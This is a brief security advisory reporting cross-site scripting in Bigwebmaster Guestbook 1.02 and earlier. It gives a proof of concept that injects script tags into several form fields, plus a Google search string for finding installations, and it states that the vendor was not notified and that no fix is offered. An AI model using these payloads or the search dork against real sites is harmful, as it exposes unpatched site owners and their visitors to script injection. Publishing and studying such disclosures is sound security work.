Affected software: Bigwebmaster Guestbook version 1.02 and down Vendor: http://www.bigwebmaster.com/Perl/Scripts_and_Programs/Guestbooks/ Introduction: (taken from vendor site) This is one of the most powerful guestbooks that you will find on the internet. Visitors who come to your site will be able to leave comments and other general information about themselves. If you want to know what your visitors are thinking, and if you want a fully customizable script, this one is perfect for you. Features include template files to fit any website design, 9 standard fields, 9 extra fields (customizable), unlimited entries, and easy to use admin area. Full online demo available.
POC: http://www.example.com/gb/addguest.cgi name: xss mail: firstname.lastname@example.org <script>alert('XSS in mail');</script> site: http://www.example.com/ <script>alert('XSS in site');</script> city: <script>alert('XSS in city');</script> state: <script>alert('XSS in state');</script> country: <script>alert('XSS in country');</script>
google search: intitle:Big Webmaster Guestbook
Vendor Status: NOT NOTIFIED
Solution: I DON'T CARE
Javor Ninov aka DrFrancky http://www.securitydot.net/